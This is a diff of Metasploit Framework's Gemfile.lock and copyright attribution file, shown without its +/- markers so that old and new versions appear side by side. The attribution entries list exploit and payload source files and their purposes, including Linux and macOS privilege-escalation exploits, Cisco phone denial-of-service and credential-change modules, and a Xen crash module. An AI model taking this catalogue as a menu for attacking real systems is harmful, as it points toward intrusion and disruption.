metasploit-model (4.0.5)
|
||||
activemodel (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
railties (~> 6.0)
|
||||
metasploit-payloads (2.0.94)
|
||||
metasploit_data_models (5.0.5)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
metasploit-model (5.0.2)
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
metasploit-payloads (2.0.156)
|
||||
metasploit_data_models (6.0.3)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
arel-helpers
|
||||
metasploit-concern
|
||||
metasploit-model (>= 3.1)
|
||||
pg
|
||||
railties (~> 6.0)
|
||||
recog (~> 2.0)
|
||||
railties (~> 7.0)
|
||||
recog
|
||||
webrick
|
||||
metasploit_payloads-mettle (1.0.18)
|
||||
metasploit_payloads-mettle (1.0.26)
|
||||
method_source (1.0.0)
|
||||
mini_portile2 (2.8.0)
|
||||
minitest (5.16.1)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.5.3)
|
||||
mime-types (3.5.1)
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2023.1003)
|
||||
mini_portile2 (2.8.4)
|
||||
minitest (5.20.0)
|
||||
mqtt (0.6.0)
|
||||
msgpack (1.6.1)
|
||||
multi_json (1.15.0)
|
||||
mustermann (1.1.1)
|
||||
mustermann (3.0.0)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
nessus_rest (0.1.6)
|
||||
net-ldap (0.17.1)
|
||||
net-protocol (0.1.3)
|
||||
timeout
|
||||
net-smtp (0.3.1)
|
||||
digest
|
||||
net-imap (0.4.0)
|
||||
date
|
||||
net-protocol
|
||||
net-ldap (0.18.0)
|
||||
net-protocol (0.2.1)
|
||||
timeout
|
||||
net-ssh (7.0.1)
|
||||
network_interface (0.0.2)
|
||||
net-smtp (0.4.0)
|
||||
net-protocol
|
||||
net-ssh (7.2.0)
|
||||
network_interface (0.0.4)
|
||||
nexpose (7.3.0)
|
||||
nio4r (2.5.8)
|
||||
nokogiri (1.13.6)
|
||||
nio4r (2.5.9)
|
||||
nokogiri (1.14.5)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
nori (2.6.0)
|
||||
octokit (4.25.1)
|
||||
faraday (>= 1, < 3)
|
||||
sawyer (~> 0.9)
|
||||
openssl-ccm (1.2.2)
|
||||
openssl-cmac (2.0.1)
|
||||
openssl-ccm (1.2.3)
|
||||
openssl-cmac (2.0.2)
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
parallel (1.22.1)
|
||||
parser (3.1.2.0)
|
||||
packetfu (2.0.0)
|
||||
pcaprub (~> 0.13.1)
|
||||
parallel (1.23.0)
|
||||
parser (3.2.2.4)
|
||||
ast (~> 2.4.1)
|
||||
racc
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.1)
|
||||
pdf-reader (2.10.0)
|
||||
pdf-reader (2.11.0)
|
||||
Ascii85 (~> 1.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (1.4.1)
|
||||
pry (0.13.1)
|
||||
pg (1.5.4)
|
||||
pry (0.14.2)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
pry-byebug (3.9.0)
|
||||
pry-byebug (3.10.1)
|
||||
byebug (~> 11.0)
|
||||
pry (~> 0.13.0)
|
||||
public_suffix (4.0.7)
|
||||
puma (5.6.4)
|
||||
pry (>= 0.13, < 0.15)
|
||||
public_suffix (5.0.3)
|
||||
puma (6.4.0)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.6.0)
|
||||
rack (2.2.4)
|
||||
rack-protection (2.2.0)
|
||||
rack
|
||||
rack-test (2.0.2)
|
||||
racc (1.7.1)
|
||||
rack (2.2.8)
|
||||
rack-protection (3.1.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-test (2.1.0)
|
||||
rack (>= 1.3)
|
||||
rails-dom-testing (2.0.3)
|
||||
activesupport (>= 4.2.0)
|
||||
rails-dom-testing (2.2.0)
|
||||
activesupport (>= 5.0.0)
|
||||
minitest
|
||||
nokogiri (>= 1.6)
|
||||
rails-html-sanitizer (1.4.3)
|
||||
loofah (~> 2.3)
|
||||
railties (6.1.6)
|
||||
actionpack (= 6.1.6)
|
||||
activesupport (= 6.1.6)
|
||||
rails-html-sanitizer (1.6.0)
|
||||
loofah (~> 2.21)
|
||||
nokogiri (~> 1.14)
|
||||
railties (7.0.8)
|
||||
actionpack (= 7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
method_source
|
||||
rake (>= 12.2)
|
||||
thor (~> 1.0)
|
||||
zeitwerk (~> 2.5)
|
||||
rainbow (3.1.1)
|
||||
rake (13.0.6)
|
||||
rasn1 (0.12.1)
|
||||
strptime (~> 0.2.5)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.3.23)
|
||||
recog (3.1.2)
|
||||
nokogiri
|
||||
redcarpet (3.5.1)
|
||||
regexp_parser (2.5.0)
|
||||
reline (0.2.5)
|
||||
redcarpet (3.6.0)
|
||||
regexp_parser (2.8.1)
|
||||
reline (0.3.8)
|
||||
io-console (~> 0.5)
|
||||
rex-arch (0.1.14)
|
||||
require_all (3.0.0)
|
||||
rex-arch (0.1.15)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.8)
|
||||
rex-bin_tools (0.1.9)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.28)
|
||||
rex-encoder (0.1.6)
|
||||
rex-core (0.1.31)
|
||||
rex-encoder (0.1.7)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.33)
|
||||
rex-exploitation (0.1.39)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
rex-encoder
|
||||
rex-text
|
||||
rexml
|
||||
rex-java (0.1.6)
|
||||
rex-mime (0.1.7)
|
||||
rex-java (0.1.7)
|
||||
rex-mime (0.1.8)
|
||||
rex-text
|
||||
rex-nop (0.1.2)
|
||||
rex-nop (0.1.3)
|
||||
rex-arch
|
||||
rex-ole (0.1.7)
|
||||
rex-ole (0.1.8)
|
||||
rex-text
|
||||
rex-powershell (0.1.96)
|
||||
rex-powershell (0.1.99)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
ruby-rc4
|
||||
rex-random_identifier (0.1.8)
|
||||
rex-random_identifier (0.1.11)
|
||||
rex-text
|
||||
rex-registry (0.1.4)
|
||||
rex-rop_builder (0.1.4)
|
||||
rex-registry (0.1.5)
|
||||
rex-rop_builder (0.1.5)
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.40)
|
||||
rex-socket (0.1.54)
|
||||
rex-core
|
||||
rex-sslscan (0.1.7)
|
||||
rex-sslscan (0.1.10)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.3)
|
||||
rex-text (0.2.38)
|
||||
rex-zip (0.1.4)
|
||||
rex-struct2 (0.1.4)
|
||||
rex-text (0.2.53)
|
||||
rex-zip (0.1.5)
|
||||
rex-text
|
||||
rexml (3.2.5)
|
||||
rexml (3.2.6)
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.11.0)
|
||||
rspec-core (~> 3.11.0)
|
||||
rspec-expectations (~> 3.11.0)
|
||||
rspec-mocks (~> 3.11.0)
|
||||
rspec-core (3.11.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-expectations (3.11.0)
|
||||
rspec (3.12.0)
|
||||
rspec-core (~> 3.12.0)
|
||||
rspec-expectations (~> 3.12.0)
|
||||
rspec-mocks (~> 3.12.0)
|
||||
rspec-core (3.12.2)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-expectations (3.12.3)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-mocks (3.11.1)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-mocks (3.12.6)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-rails (5.1.2)
|
||||
actionpack (>= 5.2)
|
||||
activesupport (>= 5.2)
|
||||
railties (>= 5.2)
|
||||
rspec-core (~> 3.10)
|
||||
rspec-expectations (~> 3.10)
|
||||
rspec-mocks (~> 3.10)
|
||||
rspec-support (~> 3.10)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-rails (6.0.3)
|
||||
actionpack (>= 6.1)
|
||||
activesupport (>= 6.1)
|
||||
railties (>= 6.1)
|
||||
rspec-core (~> 3.12)
|
||||
rspec-expectations (~> 3.12)
|
||||
rspec-mocks (~> 3.12)
|
||||
rspec-support (~> 3.12)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.11.0)
|
||||
rubocop (1.31.1)
|
||||
rspec-support (3.12.1)
|
||||
rubocop (1.56.4)
|
||||
base64 (~> 0.1.1)
|
||||
json (~> 2.3)
|
||||
language_server-protocol (>= 3.17.0)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.1.0.0)
|
||||
parser (>= 3.2.2.3)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
regexp_parser (>= 1.8, < 3.0)
|
||||
rexml (>= 3.2.5, < 4.0)
|
||||
rubocop-ast (>= 1.18.0, < 2.0)
|
||||
rubocop-ast (>= 1.28.1, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 1.4.0, < 3.0)
|
||||
rubocop-ast (1.18.0)
|
||||
parser (>= 3.1.1.0)
|
||||
ruby-macho (3.0.0)
|
||||
unicode-display_width (>= 2.4.0, < 3.0)
|
||||
rubocop-ast (1.29.0)
|
||||
parser (>= 3.2.1.0)
|
||||
ruby-macho (4.0.0)
|
||||
ruby-mysql (4.1.0)
|
||||
ruby-prof (1.4.2)
|
||||
ruby-progressbar (1.11.0)
|
||||
ruby-progressbar (1.13.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.1.6)
|
||||
ruby_smb (3.2.5)
|
||||
bindata
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
@@ -446,40 +490,46 @@ GEM
|
||||
simplecov-html (0.12.3)
|
||||
simpleidn (0.2.1)
|
||||
unf (~> 0.1.4)
|
||||
sinatra (2.2.0)
|
||||
mustermann (~> 1.0)
|
||||
rack (~> 2.2)
|
||||
rack-protection (= 2.2.0)
|
||||
sinatra (3.1.0)
|
||||
mustermann (~> 3.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-protection (= 3.1.0)
|
||||
tilt (~> 2.0)
|
||||
sqlite3 (1.4.4)
|
||||
sshkey (2.0.0)
|
||||
sqlite3 (1.6.6)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
sshkey (3.0.0)
|
||||
strptime (0.2.5)
|
||||
swagger-blocks (3.0.0)
|
||||
thin (1.8.1)
|
||||
systemu (2.6.5)
|
||||
test-prof (1.2.3)
|
||||
thin (1.8.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (1.2.1)
|
||||
tilt (2.0.10)
|
||||
timecop (0.9.5)
|
||||
timeout (0.3.0)
|
||||
thor (1.2.2)
|
||||
tilt (2.3.0)
|
||||
timecop (0.9.8)
|
||||
timeout (0.4.0)
|
||||
ttfunk (1.7.0)
|
||||
tzinfo (2.0.4)
|
||||
tzinfo (2.0.6)
|
||||
concurrent-ruby (~> 1.0)
|
||||
tzinfo-data (1.2022.1)
|
||||
tzinfo-data (1.2023.3)
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.8.2)
|
||||
unicode-display_width (2.2.0)
|
||||
unix-crypt (1.3.0)
|
||||
unicode-display_width (2.5.0)
|
||||
unix-crypt (1.3.1)
|
||||
uuid (2.3.9)
|
||||
macaddr (~> 1.0)
|
||||
warden (1.2.9)
|
||||
rack (>= 2.0.9)
|
||||
webrick (1.7.0)
|
||||
websocket-driver (0.7.5)
|
||||
webrick (1.8.1)
|
||||
websocket-driver (0.7.6)
|
||||
websocket-extensions (>= 0.1.0)
|
||||
websocket-extensions (0.1.5)
|
||||
win32api (0.1.0)
|
||||
windows_error (0.1.4)
|
||||
windows_error (0.1.5)
|
||||
winrm (2.3.6)
|
||||
builder (>= 2.1.2)
|
||||
erubi (~> 1.8)
|
||||
@@ -492,16 +542,17 @@ GEM
|
||||
xdr (3.0.3)
|
||||
activemodel (>= 4.2, < 8.0)
|
||||
activesupport (>= 4.2, < 8.0)
|
||||
xmlrpc (0.3.2)
|
||||
xmlrpc (0.3.3)
|
||||
webrick
|
||||
yard (0.9.28)
|
||||
webrick (~> 1.7.0)
|
||||
zeitwerk (2.6.0)
|
||||
yard (0.9.34)
|
||||
zeitwerk (2.6.12)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
allure-rspec
|
||||
debug (>= 1.0.0)
|
||||
factory_bot_rails
|
||||
fivemat
|
||||
memory_profiler
|
||||
@@ -515,6 +566,7 @@ DEPENDENCIES
|
||||
rubocop
|
||||
ruby-prof (= 1.4.2)
|
||||
simplecov (= 0.18.2)
|
||||
test-prof
|
||||
timecop
|
||||
yard
|
||||
|
||||
|
||||
@@ -19,46 +19,128 @@ Files: data/exploits/mysql/lib_mysqludf_sys_*.so
|
||||
Copyright: 2007 Roland Bouman
|
||||
2008-2010 Roland Bouman and Bernardo Damele A. G.
|
||||
License: LGPL-2.1
|
||||
Purpose: These files are used in exploits/multi/mysql/mysql_udf_payload.rb
|
||||
|
||||
Files: data/exploits/cve-2023-34634/test.png
|
||||
Copyright: 2023 Brendan Watters
|
||||
License: MIT
|
||||
Purpose: These image is used as the default file to embed the exploit command.
|
||||
|
||||
Files: data/headers/windows/c_payload_util/beacon.h
|
||||
Copyright: 2022, Copyright Help/Systems LLC and its group of companies.
|
||||
License: Apache 2.0
|
||||
|
||||
Files: data/jtr/*
|
||||
Copyright: Copyright 1996-2013 by Solar Designer
|
||||
License: GNU GPL 2.0
|
||||
|
||||
Files: data/post/SharpHound.exe
|
||||
data/post/powershell/SharpHound.ps1
|
||||
Copyright (C) 2016-2022 Specter Ops Inc.
|
||||
License: GNU GPL 3.0
|
||||
Purpose: These files are uploaded and executed by
|
||||
post/windows/gather/bloodhound.
|
||||
|
||||
Files: data/templates/to_mem_pshreflection.ps1.template
|
||||
Copyright: 2012, Matthew Graeber
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: external/source/exploits/IE11SandboxEscapes/*
|
||||
Copyright: James Forshaw, 2014
|
||||
License: GPLv3
|
||||
Files: data/webcam/api.js
|
||||
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
|
||||
License: MIT
|
||||
|
||||
Files: data/wordlists/flask_secret_keys.txt
|
||||
Source: https://github.com/Paradoxis/Flask-Unsign-Wordlist/blob/v2023.34/flask_unsign_wordlist/wordlists/github.txt
|
||||
Copyright: Copyright (c) 2023 Luke Paris (Paradoxis)
|
||||
License: MIT
|
||||
|
||||
Files: external/source/byakugan/*
|
||||
Copyright: Lurene Grenier, 2009
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/*
|
||||
Copyright: 2020 Johnny Shaw
|
||||
License: MIT
|
||||
|
||||
Files: external/source/exploits/CVE-2018-8120/*
|
||||
Copyright: 2018
|
||||
License: GNU GPL 3
|
||||
Purpose: This supports exploits/windows/local/ms18_8120_win32k_privesc module
|
||||
|
||||
Files: external/source/exploits/CVE-2022-1043/cve-2022-1043.c
|
||||
Copyright: 2022 Open Source Security, Inc.
|
||||
License: GNU GPL 2.0
|
||||
Purpose: This source file is necessary for users to create a stand-alone executable
|
||||
to exploit CVE-2022-1043, a local privilege escalation vulnerability in
|
||||
Linux kernels 5.12-rc3 - 5.14-rc7.
|
||||
|
||||
Files: external/source/exploits/CVE-2022-22942/cve-2022-22942-dc.c
|
||||
Copyright: 2022 Open Source Security, Inc.
|
||||
License: GNU GPL 2.0
|
||||
Purpose: This source file is necessary for users to create a stand-alone executable
|
||||
to exploit CVE-2022-22942, a local privilege escalation vulnerability in
|
||||
Linux kernels 4.14-rc1 - 5.17-rc1.
|
||||
|
||||
Files: exteneral/source/exploits/CVE-2022-26904/*
|
||||
Copyright: 2022 Abdelhamid Naceri
|
||||
License: MIT
|
||||
|
||||
Files: external/source/exploits/CVE-2023-36874/*
|
||||
Copyright: 2023 Octoberfest7
|
||||
License: MIT
|
||||
Purpose: Library and error report file are required for calculating offsets to the correct
|
||||
function calls to implement the exploit. The heavily modified C main is necessary
|
||||
to create and trigger the exploit.
|
||||
|
||||
Files: external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/*
|
||||
Copyright: 2011 Jon Bringhurst
|
||||
License: GNU GPL 2.0
|
||||
|
||||
Files: external/source/exploits/IE11SandboxEscapes/*
|
||||
Copyright: James Forshaw, 2014
|
||||
License: GPLv3
|
||||
Purpose: This set of source code supports the following modules
|
||||
exploits/windows/local/ms13_097_ie_registry_symlink.rb
|
||||
exploits/windows/local/ms14_009_ie_dfsvc.rb
|
||||
|
||||
Files: external/source/ipwn/*
|
||||
Copyright: 2004-2005 vlad902 <vlad902 [at] gmail.com>
|
||||
2007 H D Moore <hdm [at] metasploit.com>
|
||||
License: GPL-2 and Artistic
|
||||
|
||||
Files: external/source/ReflectiveDLLInjection/*
|
||||
Copyright: 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
License: BSD-3-clause
|
||||
Purpose: These files are used in payloads/stages/osx/armle/execute
|
||||
|
||||
Files: external/source/metsvc/*
|
||||
Copyright: 2007, Determina Inc.
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: external/source/tightvnc/*
|
||||
Copyright: 1999 AT&T Laboratories Cambridge.
|
||||
2000 Tridia Corp.
|
||||
2002-2003 RealVNC Ltd.
|
||||
2001-2004 HorizonLive.com, Inc.
|
||||
2000-2007 Constantin Kaplinsky
|
||||
2000-2009 TightVNC Group
|
||||
License: GPL-2
|
||||
Files: external/source/osx/isight/*
|
||||
Copyright: 2009
|
||||
License: GPL
|
||||
Purpose: Used in modules/payloads/stages/osx/x86/isight to capture images.
|
||||
|
||||
Files: external/source/pxesploit/regeditor/ntreg.h
|
||||
external/source/pxesploit/regeditor/ntreg.c
|
||||
Copyright: 1997-2010, Petter Nordahl-Hagen
|
||||
License: LGPL
|
||||
Purpose: Unknown. These files are used to create a linux binary called regeditor
|
||||
which allows a linux OS to edit a Windows registry. It is used in
|
||||
pxesploit modules.
|
||||
|
||||
Files: external/source/ReflectiveDLLInjection/*
|
||||
Copyright: 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: external/source/shellcode/windows/build.sh
|
||||
Copyright: 2009
|
||||
License: GPL / Perl Artistic
|
||||
Purpose: A perl script to build some of the x86 Windows payloads.
|
||||
|
||||
Files: external/source/unixasm/*
|
||||
Copyright: 2004-2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
License: BSD-4-clause
|
||||
|
||||
Files: external/source/vncdll/winvnc/*
|
||||
external/source/tightvnc/*
|
||||
Copyright: 1999 AT&T Laboratories Cambridge.
|
||||
2000 Tridia Corp.
|
||||
2002-2003 RealVNC Ltd.
|
||||
@@ -66,8 +148,19 @@ Copyright: 1999 AT&T Laboratories Cambridge.
|
||||
2000-2006 Constantin Kaplinsky.
|
||||
2000-2009 TightVNC Group
|
||||
License: GPL-2
|
||||
Purpose: The built result is used in:
|
||||
payloads/stages/windows/vncinject.rb
|
||||
payloads/stages/windows/x64/vncinject.rb
|
||||
|
||||
Files: lib/anemone.rb lib/anemone/*
|
||||
Files: external/source/exploits/CVE-2022-46689/vm_unaligned_copy_switch_race.c
|
||||
Copyright: 1999-2007 Apple Inc.
|
||||
License: Apple
|
||||
Purpose: This source file is necessary for users to create a stand-alone executable
|
||||
to exploit CVE-2022-46689, a local privilege escalation vulnerability in
|
||||
MacOSX versions (macOS dirty cow)
|
||||
|
||||
Files: lib/anemone.rb
|
||||
lib/anemone/*
|
||||
Copyright: 2009 Vertive, Inc.
|
||||
License: MIT
|
||||
|
||||
@@ -76,14 +169,22 @@ Copyright: 2017 Yukihiro Matsumoto
|
||||
License: Ruby
|
||||
|
||||
Files: lib/msf/core/modules/external/python/async_timeout/*
|
||||
Copyright: 2016-2017 Andrew Svetlov
|
||||
Copyright: 2016-2023 Andrew Svetlov
|
||||
License: Apache 2.0
|
||||
|
||||
Files: lib/net/dns.rb lib/net/dns/*
|
||||
Files: lib/msf/core/web_services/public/*
|
||||
lib/msf/core/web_services/views/api_docs.erb
|
||||
Copyright: Copyright 2018 SmartBear Software
|
||||
License: Apache 2.0
|
||||
|
||||
Files: lib/net/dns.rb
|
||||
lib/net/dns/*
|
||||
Copyright: 2006 Marco Ceresa
|
||||
License: Ruby
|
||||
|
||||
Files: lib/postgres_msf.rb lib/postgres/postgres-pr/message.rb lib/postgres/postgres-pr/connection.rb
|
||||
Files: lib/postgres_msf.rb
|
||||
lib/postgres/postgres-pr/message.rb
|
||||
lib/postgres/postgres-pr/connection.rb
|
||||
Copyright: 2005 Michael Neumann
|
||||
License: BSD-3-clause or Ruby
|
||||
|
||||
@@ -91,11 +192,13 @@ Files: lib/rabal/*
|
||||
Copyright: Jeremy Hinegadner <jeremy at hinegardner dot org>
|
||||
License: Ruby
|
||||
|
||||
Files: lib/rbmysql.rb lib/rbmysql/*
|
||||
Files: lib/rbmysql.rb
|
||||
lib/rbmysql/*
|
||||
Copyright: 2009 tommy
|
||||
License: Ruby
|
||||
|
||||
Files: lib/snmp.rb lib/snmp/*
|
||||
Files: lib/snmp.rb
|
||||
lib/snmp/*
|
||||
Copyright: 2004, David R. Halliday
|
||||
License: Ruby
|
||||
|
||||
@@ -103,37 +206,81 @@ Files: lib/windows_console_color_support.rb
|
||||
Copyright: 2011 Michael 'mihi' Schierl
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: lib/zip.rb lib/zip/*
|
||||
Files: lib/zip.rb
|
||||
lib/zip/*
|
||||
Copyright: 2002-2004, Thomas Sandergaard
|
||||
License: Ruby
|
||||
|
||||
Files: modules/auxiliary/dos/cisco/cisco_7937g_dos.py
|
||||
Copyright: 2020, Cody Martin
|
||||
License: GPL
|
||||
Purpose: This module allows an attacker to render a Cisco 7937G unresponsive
|
||||
until it is manually power cycled.
|
||||
|
||||
Files: modules/auxiliary/dos/cisco/cisco_7937g_dos_reboot.py
|
||||
Copyright: 2020, Cody Martin
|
||||
License: GPL
|
||||
Purpose: This module allows an attacker to render a Cisco 7937G unresponsive
|
||||
until it automatically power cycles.
|
||||
|
||||
Files: modules/auxiliary/admin/http/cisco_7937g_ssh_privesc.py
|
||||
Copyright: 2020, Cody Martin
|
||||
License: GPL
|
||||
Purpose: This module allows an unauthenticated user to change the credentials
|
||||
for SSH access on a Cisco 7937G device.
|
||||
|
||||
Files: modules/auxiliary/gather/office365userenum.py
|
||||
Copyright: 2015 Oliver Morton
|
||||
License: GPL
|
||||
Purpose: Enumerates valid usernames from Office 365 using ActiveSync.
|
||||
|
||||
Files: modules/exploits/linux/local/bpf_priv_esc.rb
|
||||
data/exploits/CVE-2016-4557/hello
|
||||
Copyright: 2001-2007
|
||||
License: GPL
|
||||
Purpose: This module contains the source code for FUSE, which this module
|
||||
uploads and compiles or uploads a precompiled binary (hello).
|
||||
|
||||
Files: modules/exploits/linux/local/ntfs3g_priv_esc.rb
|
||||
Copyright: 2017
|
||||
License: GPLv2
|
||||
Purpose: The Ruby file contains the text of several modules from exploit-db
|
||||
which it compiles and uploads to the target to elevate privileges.
|
||||
|
||||
Files: modules/exploits/unix/fileformat/metasploit_libnotify_cmd_injection.rb
|
||||
Copyright: 2020
|
||||
License: GPL
|
||||
Purpose: This module targets a vulnerability in Metasploit Framework versions
|
||||
prior to 5.0.86.
|
||||
|
||||
Files: modules/exploits/windows/smb/ms04_007_killbill.rb
|
||||
Copyright: 2004, Solar Eclipse
|
||||
License: GPL
|
||||
Purpose: The module exploits the Windows ASN.1 vulnerability in Windows 2000
|
||||
SP2-SP4 and Windows XP SP0-SP1. It contains code ported from a GPLv2
|
||||
module.
|
||||
|
||||
Files: modules/payloads/singles/windows/speak_pwned.rb
|
||||
Copyright: 2009-2010 Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: data/webcam/api.js
|
||||
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
|
||||
License: MIT
|
||||
Files: modules/payloads/singles/windows/x64/messagebox.rb
|
||||
Copyright: 2018, jaguinaga
|
||||
License: GPL
|
||||
Purpose: This module allows us to create an x64 Windows messagebox payload.
|
||||
|
||||
Files: lib/msf/core/web_services/public/*, lib/msf/core/web_services/views/api_docs.erb
|
||||
Copyright: Copyright 2018 SmartBear Software
|
||||
License: Apache 2.0
|
||||
Files: modules/post/linux/dos/xen_420_dos.rb
|
||||
Copyright: 2016
|
||||
License: GPL
|
||||
Purpose: This module crashes the Xen 4.2.0 hypervisor when run in a
|
||||
paravirtualized VM. It contains a short code section licensed through
|
||||
GPL.
|
||||
|
||||
Files: data/jtr/*
|
||||
Copyright: Copyright 1996-2013 by Solar Designer
|
||||
License: GNU GPL 2.0
|
||||
|
||||
Files: external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/*
|
||||
Copyright: 2011 Jon Bringhurst
|
||||
License: GNU GPL 2.0
|
||||
|
||||
Files: external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/*
|
||||
Copyright: 2020 Johnny Shaw
|
||||
License: MIT
|
||||
|
||||
Files: exteneral/source/exploits/CVE-2022-26904/*
|
||||
Copywrite: 2022 Abdelhamid Naceri
|
||||
License: MIT
|
||||
Files: tools/exploit/metasm_shell.rb
|
||||
Copyright: 2007, Yoann GUILLOT
|
||||
License: LGPL
|
||||
Purpose: Allows users to invoke an interactive metasm shell to get opcodes from
|
||||
assembly instructions.
|
||||
|
||||
License: BSD-2-clause
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
@@ -889,3 +1036,372 @@ License: Zlib
|
||||
2. Altered source versions must be plainly marked as such, and must not be
|
||||
misrepresented as being the original software.
|
||||
3. This notice may not be removed or altered from any source distribution.
|
||||
|
||||
License: Apple
|
||||
APPLE PUBLIC SOURCE LICENSE
|
||||
Version 2.0 - August 6, 2003
|
||||
|
||||
Please read this License carefully before downloading this software.
|
||||
By downloading or using this software, you are agreeing to be bound by
|
||||
the terms of this License. If you do not or cannot agree to the terms
|
||||
of this License, please do not download or use the software.
|
||||
|
||||
1. General; Definitions. This License applies to any program or other
|
||||
work which Apple Computer, Inc. ("Apple") makes publicly available and
|
||||
which contains a notice placed by Apple identifying such program or
|
||||
work as "Original Code" and stating that it is subject to the terms of
|
||||
this Apple Public Source License version 2.0 ("License"). As used in
|
||||
this License:
|
||||
|
||||
1.1 "Applicable Patent Rights" mean: (a) in the case where Apple is
|
||||
the grantor of rights, (i) claims of patents that are now or hereafter
|
||||
acquired, owned by or assigned to Apple and (ii) that cover subject
|
||||
matter contained in the Original Code, but only to the extent
|
||||
necessary to use, reproduce and/or distribute the Original Code
|
||||
without infringement; and (b) in the case where You are the grantor of
|
||||
rights, (i) claims of patents that are now or hereafter acquired,
|
||||
owned by or assigned to You and (ii) that cover subject matter in Your
|
||||
Modifications, taken alone or in combination with Original Code.
|
||||
|
||||
1.2 "Contributor" means any person or entity that creates or
|
||||
contributes to the creation of Modifications.
|
||||
|
||||
1.3 "Covered Code" means the Original Code, Modifications, the
|
||||
combination of Original Code and any Modifications, and/or any
|
||||
respective portions thereof.
|
||||
|
||||
1.4 "Externally Deploy" means: (a) to sublicense, distribute or
|
||||
otherwise make Covered Code available, directly or indirectly, to
|
||||
anyone other than You; and/or (b) to use Covered Code, alone or as
|
||||
part of a Larger Work, in any way to provide a service, including but
|
||||
not limited to delivery of content, through electronic communication
|
||||
with a client other than You.
|
||||
|
||||
1.5 "Larger Work" means a work which combines Covered Code or portions
|
||||
thereof with code not governed by the terms of this License.
|
||||
|
||||
1.6 "Modifications" mean any addition to, deletion from, and/or change
|
||||
to, the substance and/or structure of the Original Code, any previous
|
||||
Modifications, the combination of Original Code and any previous
|
||||
Modifications, and/or any respective portions thereof. When code is
|
||||
released as a series of files, a Modification is: (a) any addition to
|
||||
or deletion from the contents of a file containing Covered Code;
|
||||
and/or (b) any new file or other representation of computer program
|
||||
statements that contains any part of Covered Code.
|
||||
|
||||
1.7 "Original Code" means (a) the Source Code of a program or other
|
||||
work as originally made available by Apple under this License,
|
||||
including the Source Code of any updates or upgrades to such programs
|
||||
or works made available by Apple under this License, and that has been
|
||||
expressly identified by Apple as such in the header file(s) of such
|
||||
work; and (b) the object code compiled from such Source Code and
|
||||
originally made available by Apple under this License.
|
||||
|
||||
1.8 "Source Code" means the human readable form of a program or other
|
||||
work that is suitable for making modifications to it, including all
|
||||
modules it contains, plus any associated interface definition files,
|
||||
scripts used to control compilation and installation of an executable
|
||||
(object code).
|
||||
|
||||
1.9 "You" or "Your" means an individual or a legal entity exercising
|
||||
rights under this License. For legal entities, "You" or "Your"
|
||||
